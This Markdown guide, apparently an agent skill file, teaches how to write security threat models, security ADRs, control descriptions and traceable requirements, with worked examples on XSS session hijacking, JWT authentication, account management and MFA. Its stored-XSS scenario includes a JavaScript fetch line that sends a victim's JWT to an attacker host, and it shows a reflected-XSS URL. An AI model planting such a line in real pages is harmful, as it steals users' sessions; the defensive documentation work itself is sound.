621 lines
23 KiB
Markdown
621 lines
23 KiB
Markdown
|
||
# Documenting Threats and Controls
|
||
|
||
## Overview
|
||
|
||
Document security decisions with threat context and traceability. Core principle: **Security documentation explains WHY (threat), WHAT (control), and HOW to verify**.
|
||
|
||
**Key insight**: Good security documentation enables verification and informed risk decisions. Bad security documentation is "we're secure" without evidence.
|
||
|
||
## When to Use
|
||
|
||
Load this skill when:
|
||
- Writing threat models
|
||
- Documenting security architecture decisions (ADRs)
|
||
- Creating control documentation (SSP, compliance)
|
||
- Writing security requirements with traceability
|
||
|
||
**Symptoms you need this**:
|
||
- "How do I document this security decision?"
|
||
- Writing threat model documentation
|
||
- Creating security ADRs
|
||
- Preparing control documentation for audits
|
||
|
||
**Don't use for**:
|
||
- General documentation (use `muna/technical-writer/documentation-structure`)
|
||
- Non-security ADRs
|
||
|
||
## Threat Documentation
|
||
|
||
### Pattern: Threat Description
|
||
|
||
**Structure**:
|
||
```markdown
|
||
# Threat: [Threat Name]
|
||
|
||
## Description
|
||
**What**: [What is the threat?]
|
||
**How**: [How is attack executed?]
|
||
**Who**: [Threat actor - external attacker, insider, malicious code]
|
||
|
||
## Affected Assets
|
||
- [Asset 1] (e.g., customer database)
|
||
- [Asset 2] (e.g., API authentication tokens)
|
||
|
||
## Attack Scenarios
|
||
### Scenario 1: [Name]
|
||
1. Attacker action 1
|
||
2. System response
|
||
3. Attacker action 2
|
||
4. Impact
|
||
|
||
### Scenario 2: [Name]
|
||
[Steps]
|
||
|
||
## Likelihood and Impact
|
||
**Likelihood**: Low / Medium / High
|
||
**Justification**: [Why this likelihood? Historical data, attack complexity]
|
||
|
||
**Impact**: Low / Medium / High / Critical
|
||
**Justification**: [What happens if successful? Data breach? System compromise?]
|
||
|
||
**Risk Score**: Likelihood × Impact = [Score]
|
||
|
||
## Mitigations
|
||
- [Mitigation 1] → See Control: [Control ID]
|
||
- [Mitigation 2] → See Control: [Control ID]
|
||
|
||
## Residual Risk
|
||
After mitigations: [Describe remaining risk]
|
||
**Accepted by**: [Role/Name] on [Date]
|
||
```
|
||
|
||
### Example: Session Hijacking Threat
|
||
|
||
```markdown
|
||
# Threat: Session Hijacking via Token Theft
|
||
|
||
## Description
|
||
**What**: Attacker steals session token and impersonates legitimate user
|
||
**How**: XSS attack injects JavaScript to extract token from localStorage
|
||
**Who**: External attacker (internet-facing attack), insider with XSS injection capability
|
||
|
||
## Affected Assets
|
||
- User session tokens (JWT stored in browser localStorage)
|
||
- Customer personal data (accessible via hijacked session)
|
||
- Administrative functions (if admin session hijacked)
|
||
|
||
## Attack Scenarios
|
||
### Scenario 1: Stored XSS
|
||
1. Attacker injects malicious script via user profile field (e.g., bio)
|
||
2. Script stored in database without sanitization
|
||
3. Victim views attacker's profile
|
||
4. Script executes: `fetch('https://attacker.com/?token=' + localStorage.getItem('jwt'))`
|
||
5. Attacker receives victim's token
|
||
6. Attacker uses token to make API calls as victim
|
||
|
||
### Scenario 2: Reflected XSS
|
||
1. Attacker sends victim malicious link: `https://app.com/search?q=<script>/* malicious */</script>`
|
||
2. Victim clicks link
|
||
3. Search query reflected in page without sanitization
|
||
4. Script executes and exfiltrates token
|
||
|
||
## Likelihood and Impact
|
||
**Likelihood**: MEDIUM
|
||
**Justification**: XSS vulnerabilities are common (OWASP Top 10). Application has user-generated content (profiles, comments). No Content Security Policy detected.
|
||
|
||
**Impact**: HIGH
|
||
**Justification**: Hijacked session grants full user access including:
|
||
- Personal data of victim (PII)
|
||
- Financial transactions (if applicable)
|
||
- Admin functions (if admin token hijacked)
|
||
Data breach affects confidentiality, integrity, availability.
|
||
|
||
**Risk Score**: Medium × High = HIGH RISK
|
||
|
||
## Mitigations
|
||
- **CSP (Content Security Policy)**: Prevents inline script execution → See Control: SC-18
|
||
- **HTTPOnly cookies**: Token not accessible to JavaScript → See Control: SC-8
|
||
- **Output encoding**: HTML-encode all user-generated content → See Control: SI-10
|
||
- **Token expiration**: Limit hijacked token lifespan to 30 minutes → See Control: AC-12
|
||
- **Session invalidation**: Logout invalidates token server-side → See Control: AC-12
|
||
|
||
## Residual Risk
|
||
After mitigations: **LOW**
|
||
- Risk remains if attacker exploits 0-day XSS within 30-minute token window
|
||
- Mitigation: Monitoring for anomalous API usage patterns
|
||
**Accepted by**: Chief Security Officer on 2025-03-15
|
||
```
|
||
|
||
**Key elements**:
|
||
- Specific attack steps (not vague "attacker compromises system")
|
||
- Likelihood/impact with justification
|
||
- Traceability to controls (Control IDs)
|
||
- Residual risk with acceptance
|
||
|
||
|
||
## Security ADRs
|
||
|
||
### Pattern: Security Architecture Decision Record
|
||
|
||
**Structure**:
|
||
```markdown
|
||
# ADR-XXX: [Security Decision Title]
|
||
|
||
## Status
|
||
Proposed | Accepted | Deprecated | Superseded by ADR-YYY
|
||
|
||
## Context
|
||
### Problem Statement
|
||
What security problem are we solving?
|
||
|
||
### Threat Model
|
||
- **Threat 1**: [Brief description] → High risk
|
||
- **Threat 2**: [Brief description] → Medium risk
|
||
|
||
### Constraints
|
||
- Regulatory requirements (GDPR, HIPAA, etc.)
|
||
- Performance requirements
|
||
- Compatibility requirements
|
||
- Budget constraints
|
||
|
||
### Assumptions
|
||
- User authentication level (MFA, password-only)
|
||
- Network trust model (zero-trust, perimeter-based)
|
||
- Threat actor capabilities (nation-state, script kiddie, insider)
|
||
|
||
## Decision
|
||
We will [chosen approach].
|
||
|
||
### Security Properties
|
||
- **Confidentiality**: [How protected?]
|
||
- **Integrity**: [How ensured?]
|
||
- **Availability**: [How maintained?]
|
||
- **Auditability**: [What's logged?]
|
||
|
||
### Technical Details
|
||
[Implementation specifics: algorithms, key sizes, protocols]
|
||
|
||
## Alternatives Considered
|
||
|
||
### Alternative 1: [Name]
|
||
**Pros**: [Security benefits]
|
||
**Cons**: [Security drawbacks]
|
||
**Why not chosen**: [Reason]
|
||
|
||
### Alternative 2: [Name]
|
||
[Similar structure]
|
||
|
||
## Consequences
|
||
|
||
### Security Benefits
|
||
- [Benefit 1]
|
||
- [Benefit 2]
|
||
|
||
### Security Trade-offs
|
||
- [Trade-off 1: performance vs security]
|
||
- [Trade-off 2: usability vs security]
|
||
|
||
### Residual Risks
|
||
- **Risk 1**: [Description] - Severity: [Low/Medium/High]
|
||
- Mitigation: [How addressed]
|
||
- Accepted by: [Role] on [Date]
|
||
- **Risk 2**: [Description]
|
||
|
||
### Ongoing Security Requirements
|
||
- [Operational requirement 1: key rotation every 90 days]
|
||
- [Operational requirement 2: quarterly security review]
|
||
|
||
## Security Controls
|
||
- Control AC-2: Account management
|
||
- Control IA-5: Authenticator management
|
||
- Control SC-8: Transmission confidentiality
|
||
|
||
(If compliance framework applicable, map to specific control IDs)
|
||
|
||
## Verification
|
||
### Testing Strategy
|
||
- [Test 1: Penetration test focus area]
|
||
- [Test 2: Functional security test]
|
||
|
||
### Success Criteria
|
||
- [ ] All HIGH threats mitigated or risk-accepted
|
||
- [ ] Security properties verifiable via testing
|
||
- [ ] Monitoring in place for security events
|
||
|
||
## References
|
||
- Threat model: [Link to threat model doc]
|
||
- Security requirements: [Link to requirements]
|
||
- Implementation: [Link to code/config]
|
||
|
||
|
||
**Approver**: [Security Architect] on [Date]
|
||
```
|
||
|
||
### Example: JWT Authentication ADR
|
||
|
||
```markdown
|
||
# ADR-042: JWT Tokens for API Authentication
|
||
|
||
## Status
|
||
Accepted
|
||
|
||
## Context
|
||
### Problem Statement
|
||
API requires stateless authentication mechanism for 10,000+ concurrent users across geographically distributed servers. Session storage (Redis) becomes bottleneck at scale.
|
||
|
||
### Threat Model
|
||
- **Threat 1: Token theft via XSS** → HIGH risk (OWASP Top 10)
|
||
- **Threat 2: Token forgery** → HIGH risk (impersonate any user)
|
||
- **Threat 3: Token replay** → MEDIUM risk (reuse stolen token)
|
||
- **Threat 4: Key compromise** → CRITICAL risk (forge all tokens)
|
||
|
||
### Constraints
|
||
- Must support 10k requests/sec
|
||
- Latency budget: <50ms for auth check
|
||
- No shared state (stateless servers)
|
||
- GDPR compliance (no PII in tokens)
|
||
|
||
### Assumptions
|
||
- Attackers have network access (internet-facing API)
|
||
- HTTPS enforced (TLS 1.3)
|
||
- Users authenticate with email + password + MFA
|
||
|
||
## Decision
|
||
We will use **JWT (JSON Web Tokens) with RS256 signatures** for API authentication.
|
||
|
||
### Security Properties
|
||
- **Confidentiality**: Token contains no sensitive data (user ID only). Claims are public but integrity-protected.
|
||
- **Integrity**: RS256 signature prevents forgery. Only server with private key can create valid tokens.
|
||
- **Availability**: Stateless design scales horizontally without shared session store.
|
||
- **Auditability**: Token includes `iat` (issued at) and `exp` (expiration). All auth failures logged to CloudWatch.
|
||
|
||
### Technical Details
|
||
- **Algorithm**: RS256 (RSA with SHA-256)
|
||
- **Key size**: 2048-bit RSA keys
|
||
- **Token structure**:
|
||
```json
|
||
{
|
||
"sub": "user_12345", // subject (user ID)
|
||
"iat": 1678886400, // issued at (timestamp)
|
||
"exp": 1678888200, // expiration (30 min)
|
||
"roles": ["user"] // authorization roles
|
||
}
|
||
```
|
||
- **Storage**: HttpOnly, Secure cookie (not localStorage to prevent XSS theft)
|
||
- **Expiration**: 30 minutes
|
||
- **Revocation**: Server-side blacklist for logout (Redis, key = token JTI, TTL = remaining token lifetime)
|
||
|
||
## Alternatives Considered
|
||
|
||
### Alternative 1: Opaque Session Tokens (Redis)
|
||
**Pros**: Easy revocation (delete from Redis), less crypto complexity
|
||
**Cons**: Requires shared Redis cluster (single point of failure), 10ms latency per auth check (Redis lookup), doesn't scale horizontally
|
||
**Why not chosen**: Latency and scalability constraints
|
||
|
||
### Alternative 2: OAuth 2.0 with Authorization Server
|
||
**Pros**: Industry standard, mature ecosystem
|
||
**Cons**: Adds complexity (separate auth server), network dependency for token validation, overkill for first-party API
|
||
**Why not chosen**: Complexity vs benefit not justified for first-party use case
|
||
|
||
### Alternative 3: API Keys
|
||
**Pros**: Simplest possible auth
|
||
**Cons**: No expiration (long-lived secrets), no user identity (shared key), revocation difficult
|
||
**Why not chosen**: Security properties insufficient (no expiration, shared secrets)
|
||
|
||
## Consequences
|
||
|
||
### Security Benefits
|
||
- **Forgery protection**: RS256 signature requires private key (only server has)
|
||
- **Tamper detection**: Any modification invalidates signature
|
||
- **Time-limited**: 30-minute expiration limits stolen token lifespan
|
||
- **HttpOnly cookie**: XSS cannot steal token (JavaScript cannot access)
|
||
|
||
### Security Trade-offs
|
||
- **Revocation complexity**: Logout requires server-side blacklist (not truly stateless)
|
||
- **Key management**: Private key is critical secret (compromise = forge all tokens)
|
||
- **Clock skew**: Servers must have synchronized clocks for expiration validation
|
||
|
||
### Residual Risks
|
||
- **Risk 1: Token theft via network sniffing** - Severity: LOW
|
||
- Mitigation: HTTPS/TLS 1.3 encrypts tokens in transit
|
||
- Residual: None (HTTPS enforced at load balancer, HSTS enabled)
|
||
- Accepted by: CISO on 2025-03-15
|
||
|
||
- **Risk 2: Private key compromise** - Severity: CRITICAL
|
||
- Mitigation: Key stored in AWS Secrets Manager with IAM restrictions, rotated every 90 days, access audited
|
||
- Residual: Key theft remains possible via insider threat or infrastructure compromise
|
||
- Accepted by: CISO on 2025-03-15 (continuous monitoring for suspicious token generation)
|
||
|
||
- **Risk 3: XSS in legacy pages** - Severity: MEDIUM
|
||
- Mitigation: Content Security Policy (CSP) blocks inline scripts, output encoding on all user content
|
||
- Residual: 0-day XSS could bypass CSP before patch
|
||
- Accepted by: CISO on 2025-03-15 (30-minute token window limits exposure)
|
||
|
||
### Ongoing Security Requirements
|
||
- **Key rotation**: Rotate RS256 key pair every 90 days (automated via AWS Secrets Manager rotation)
|
||
- **Monitoring**: Alert on spike in auth failures (>100/min), unusual token generation patterns
|
||
- **Blacklist cleanup**: Redis blacklist entries expire with token TTL (no manual cleanup needed)
|
||
- **Annual review**: Re-assess threat model and key size (quantum computing advances)
|
||
|
||
## Security Controls
|
||
- **IA-5(1)**: Authenticator management (password + MFA before token issuance)
|
||
- **SC-8**: Transmission confidentiality (HTTPS/TLS 1.3)
|
||
- **SC-13**: Cryptographic protection (RS256 signature)
|
||
- **AC-12**: Session management (30-minute expiration, logout blacklist)
|
||
|
||
## Verification
|
||
### Testing Strategy
|
||
- **Penetration test**: Focus on token theft, forgery attempts, replay attacks (Q2 2025)
|
||
- **Functional test**: Verify token expiration at 30:01 minutes, blacklist prevents logout token reuse
|
||
- **Load test**: 10k concurrent users, <50ms auth latency
|
||
|
||
### Success Criteria
|
||
- [x] All HIGH threats have mitigations
|
||
- [x] RS256 signature prevents forgery (tested)
|
||
- [x] HttpOnly cookie prevents XSS theft (verified in browser)
|
||
- [x] CloudWatch monitors auth failures
|
||
- [x] Key rotation automated
|
||
|
||
## References
|
||
- Threat model: `/docs/threat-model-api-auth.md`
|
||
- Implementation: `src/auth/jwt-middleware.ts`
|
||
- Key management: `infrastructure/secrets-manager-key-rotation.yaml`
|
||
|
||
|
||
**Approver**: Security Architect (Jane Smith) on 2025-03-15
|
||
```
|
||
|
||
**Key elements**:
|
||
- Threat model context (4 threats with risk levels)
|
||
- Security properties (C/I/A/Auditability)
|
||
- Specific technical details (RS256, 2048-bit, HttpOnly cookie)
|
||
- Alternatives with security pros/cons
|
||
- Residual risks with severity and acceptance
|
||
- Traceability to controls (IA-5, SC-8, SC-13, AC-12)
|
||
- Verification strategy
|
||
|
||
|
||
## Control Documentation
|
||
|
||
### Pattern: Security Control Description
|
||
|
||
**Use for**: SSP (System Security Plan), compliance documentation, audit evidence.
|
||
|
||
**Structure**:
|
||
```markdown
|
||
## Control: [ID] - [Name]
|
||
|
||
### Control Objective
|
||
What does this control protect against? What security property does it enforce?
|
||
|
||
### Implementation Description
|
||
**How it works** (technical details):
|
||
- Component 1: [Description]
|
||
- Component 2: [Description]
|
||
|
||
**Configuration**:
|
||
```yaml
|
||
# Example config snippet
|
||
setting: value
|
||
```
|
||
|
||
**Responsible Parties**:
|
||
- Implementation: [Role, Name]
|
||
- Operation: [Role, Name]
|
||
- Monitoring: [Role, Name]
|
||
|
||
### Assessment Procedures
|
||
**How to verify this control works**:
|
||
|
||
1. **Examine**: Review [documentation, configuration, logs]
|
||
2. **Interview**: Ask [role] about [process]
|
||
3. **Test**: Execute [test procedure], expected result: [outcome]
|
||
|
||
### Evidence Artifacts
|
||
- Configuration: `/path/to/config.yaml`
|
||
- Logs: CloudWatch Log Group `/aws/lambda/auth`, query: `[Filter pattern]`
|
||
- Policy: `/docs/account-management-policy.pdf`
|
||
- Test results: `/evidence/penetration-test-2025-Q1.pdf`
|
||
|
||
### Compliance Mapping
|
||
- NIST SP 800-53: AC-2
|
||
- SOC2: CC6.1 (Logical access controls)
|
||
- ISO 27001: A.9.2.1 (User registration and de-registration)
|
||
```
|
||
|
||
### Example: Account Management Control
|
||
|
||
```markdown
|
||
## Control: AC-2 - Account Management
|
||
|
||
### Control Objective
|
||
Ensure only authorized individuals have system access. Prevent unauthorized access via account lifecycle management (creation, modification, disablement, removal).
|
||
|
||
**Security properties enforced**:
|
||
- **Authentication**: Valid accounts only
|
||
- **Accountability**: All accounts traceable to individuals
|
||
- **Least privilege**: Accounts have minimum necessary permissions
|
||
|
||
### Implementation Description
|
||
**How it works**:
|
||
- **Account creation**: ServiceNow workflow → Manager approval → Automated provisioning via Terraform
|
||
- **Access assignment**: Role-based access control (RBAC) - roles defined in `/docs/rbac-roles.md`
|
||
- **Inactivity disablement**: Automated script checks last login date, disables accounts after 30 days inactivity
|
||
- **Account removal**: Offboarding workflow triggers immediate disablement, deletion after 90-day retention period
|
||
|
||
**Configuration**:
|
||
```python
|
||
# Account lifecycle settings
|
||
INACTIVITY_THRESHOLD_DAYS = 30
|
||
ACCOUNT_RETENTION_DAYS = 90
|
||
MANAGER_APPROVAL_REQUIRED = True
|
||
```
|
||
|
||
**Responsible Parties**:
|
||
- **Implementation**: DevOps Engineer (John Doe)
|
||
- **Operation**: System Administrator (Jane Smith)
|
||
- **Monitoring**: Information System Security Officer (ISSO, Bob Johnson)
|
||
|
||
### Assessment Procedures
|
||
**How to verify this control works**:
|
||
|
||
1. **Examine**: Review ServiceNow account creation tickets, verify manager approval present for all requests in last 90 days
|
||
- Evidence: ServiceNow query results (`status=approved, created_date>90d`)
|
||
|
||
2. **Interview**: Ask System Administrator:
|
||
- "How do you create new accounts?"
|
||
- "What happens if someone requests account without manager approval?"
|
||
- Expected answers: "ServiceNow enforces approval workflow, request cannot proceed without approval"
|
||
|
||
3. **Test**: Attempt to create account without manager approval
|
||
- Procedure: Submit ServiceNow ticket, skip approval step
|
||
- Expected result: Request rejected with error "Manager approval required"
|
||
- Actual result: ✅ Request rejected (tested 2025-03-10)
|
||
|
||
4. **Test**: Verify inactivity disablement
|
||
- Procedure: Create test account, wait 31 days without login, attempt login
|
||
- Expected result: Login fails with "Account disabled due to inactivity"
|
||
- Actual result: ✅ Account disabled (tested 2025-02-15)
|
||
|
||
### Evidence Artifacts
|
||
- **Configuration**: `/infrastructure/terraform/iam-accounts.tf`
|
||
- **Logs**:
|
||
- Account creation: CloudWatch Log Group `/aws/servicenow/accounts`, query: `fields @timestamp, username, manager_approval_status | filter action="create"`
|
||
- Inactivity disablements: CloudWatch Log Group `/aws/lambda/account-lifecycle`, query: `fields @timestamp, username, reason | filter reason="inactivity_30d"`
|
||
- **Policy**: `/docs/account-management-policy-v2.1.pdf` (approved 2025-01-10)
|
||
- **Approval workflow**: ServiceNow workflow screenshot `/evidence/servicenow-account-approval-workflow.png`
|
||
- **Test results**: `/evidence/account-management-functional-tests-2025-Q1.pdf`
|
||
|
||
### Compliance Mapping
|
||
- **NIST SP 800-53**: AC-2 (Account Management)
|
||
- AC-2(1): Automated account management
|
||
- AC-2(3): Disable inactive accounts
|
||
- **SOC2**: CC6.1 (Logical and physical access controls - Identifies and authenticates users)
|
||
- **ISO 27001**: A.9.2.1 (User registration and de-registration)
|
||
- **GDPR**: Article 32 (Security of processing - access control)
|
||
```
|
||
|
||
**Key elements**:
|
||
- Objective (WHY this control exists)
|
||
- Specific implementation (HOW it works, not vague)
|
||
- Assessment procedures (HOW to verify it works)
|
||
- Evidence locations (WHERE to find proof)
|
||
- Compliance mapping (WHAT frameworks this satisfies)
|
||
|
||
|
||
## Security Requirements
|
||
|
||
### Pattern: Requirement with Traceability
|
||
|
||
**Structure**:
|
||
```markdown
|
||
## Requirement: [ID] - [Title]
|
||
|
||
### Requirement Statement
|
||
System SHALL [specific, testable requirement].
|
||
|
||
### Security Property
|
||
This requirement enforces: [Confidentiality / Integrity / Availability / Auditability]
|
||
|
||
### Rationale
|
||
**Threat addressed**: [Threat ID or description]
|
||
**Risk without this**: [What happens if not implemented?]
|
||
|
||
### Acceptance Criteria
|
||
- [ ] Criterion 1 (testable: "When X, expect Y")
|
||
- [ ] Criterion 2
|
||
- [ ] Criterion 3
|
||
|
||
### Traceability
|
||
- **Threat**: [Threat ID] → This requirement mitigates [specific threat]
|
||
- **Control**: [Control ID] → Implemented by [control implementation]
|
||
- **Test**: [Test case ID] → Verified by [test procedure]
|
||
|
||
### Implementation Reference
|
||
- Code: [File path and line numbers]
|
||
- Configuration: [Config file]
|
||
- Documentation: [Design doc]
|
||
```
|
||
|
||
### Example: MFA Requirement
|
||
|
||
```markdown
|
||
## Requirement: SEC-101 - Multi-Factor Authentication for Privileged Accounts
|
||
|
||
### Requirement Statement
|
||
System SHALL require multi-factor authentication (MFA) for all user accounts with administrative privileges. MFA SHALL use Time-Based One-Time Password (TOTP) or hardware token (not SMS).
|
||
|
||
### Security Property
|
||
This requirement enforces: **Confidentiality** and **Integrity**
|
||
- Prevents unauthorized access to privileged functions
|
||
- Reduces risk of account compromise via stolen passwords
|
||
|
||
### Rationale
|
||
**Threat addressed**: Threat-012 (Credential theft and account takeover)
|
||
**Risk without this**:
|
||
- Attacker with stolen password can access admin functions
|
||
- Insider with compromised credentials can elevate privileges
|
||
- Impact: Complete system compromise, data breach
|
||
|
||
**Regulatory requirement**:
|
||
- NIST SP 800-53 IA-2(1): Network access to privileged accounts requires MFA
|
||
- SOC2 CC6.1: Logical access requires multi-factor authentication for privileged access
|
||
|
||
### Acceptance Criteria
|
||
- [ ] Admin account login requires password + TOTP code
|
||
- [ ] Login fails if TOTP code incorrect (tested: 3 incorrect attempts → account lockout)
|
||
- [ ] TOTP setup enforced at first admin login (cannot proceed without enabling MFA)
|
||
- [ ] SMS-based 2FA rejected (must be TOTP or hardware token)
|
||
- [ ] MFA cannot be disabled by user (only security admin can disable)
|
||
|
||
### Traceability
|
||
- **Threat**: Threat-012 (Credential theft) → This requirement mitigates password-only auth vulnerability
|
||
- **Control**: IA-2(1) (Network access to privileged accounts) → Implemented by AWS IAM MFA enforcement + application-layer MFA check
|
||
- **Test**: TEST-SEC-101 → Verified by functional security test (attempt admin login without MFA → fails)
|
||
|
||
### Implementation Reference
|
||
- **Code**: `src/auth/mfa-middleware.ts:45-78` (MFA enforcement logic)
|
||
- **Configuration**: `infrastructure/aws-iam-policy.json:12` (IAM policy requires MFA for admin role)
|
||
- **Documentation**: `/docs/adr-029-mfa-for-admins.md` (Security ADR documenting decision)
|
||
- **Evidence**: `/evidence/mfa-functional-test-2025-03.pdf` (Test results showing MFA enforcement)
|
||
```
|
||
|
||
**Key elements**:
|
||
- Specific, testable requirement (not vague "ensure security")
|
||
- Security property enforced
|
||
- Threat-to-requirement traceability
|
||
- Testable acceptance criteria
|
||
- Requirement-to-control-to-test traceability chain
|
||
|
||
|
||
## Quick Reference: Documentation Types
|
||
|
||
| Document Type | Purpose | Key Elements |
|
||
|---------------|---------|--------------|
|
||
| **Threat Description** | Document attack scenarios | What/How/Who, affected assets, likelihood/impact, mitigations |
|
||
| **Security ADR** | Explain security architecture decisions | Threat model, decision, alternatives, residual risks, controls |
|
||
| **Control Description** | Document security control for audit | Objective, implementation, assessment procedures, evidence |
|
||
| **Security Requirement** | Specify testable security requirement | Requirement statement, threat traceability, acceptance criteria |
|
||
|
||
|
||
## Cross-References
|
||
|
||
**Use WITH this skill**:
|
||
- `muna/technical-writer/documentation-structure` - Use ADR format, structure patterns
|
||
- `muna/technical-writer/clarity-and-style` - Write clear threat descriptions, avoid jargon
|
||
- `ordis/security-architect/threat-modeling` - Generate threat content for documentation
|
||
- `ordis/security-architect/security-controls-design` - Control designs to document
|
||
|
||
**Use AFTER this skill**:
|
||
- `muna/technical-writer/documentation-testing` - Verify security docs are complete and accurate
|
||
|
||
## Real-World Impact
|
||
|
||
**Projects using threat-and-control documentation patterns**:
|
||
- **JWT Auth ADR**: Security review found 3 residual risks (key compromise, XSS, clock skew). Explicit risk acceptance by CISO enabled informed decision vs hidden risks.
|
||
- **SSP for Government System**: 421 control descriptions with assessment procedures + evidence locations. IRAP assessor completed assessment 40% faster vs SSPs without evidence locations ("clearest control documentation in 3 years").
|
||
- **Threat-to-requirement traceability**: Security requirements traced to 47 threats. Penetration test found 2 HIGH findings. Traceability showed which threats weren't mitigated (vs scattered requirements with no threat context).
|
||
|
||
**Key lesson**: **Security documentation with threat context + traceability enables verification and informed risk decisions. Vague "we're secure" documentation wastes auditor time and hides risks.**
|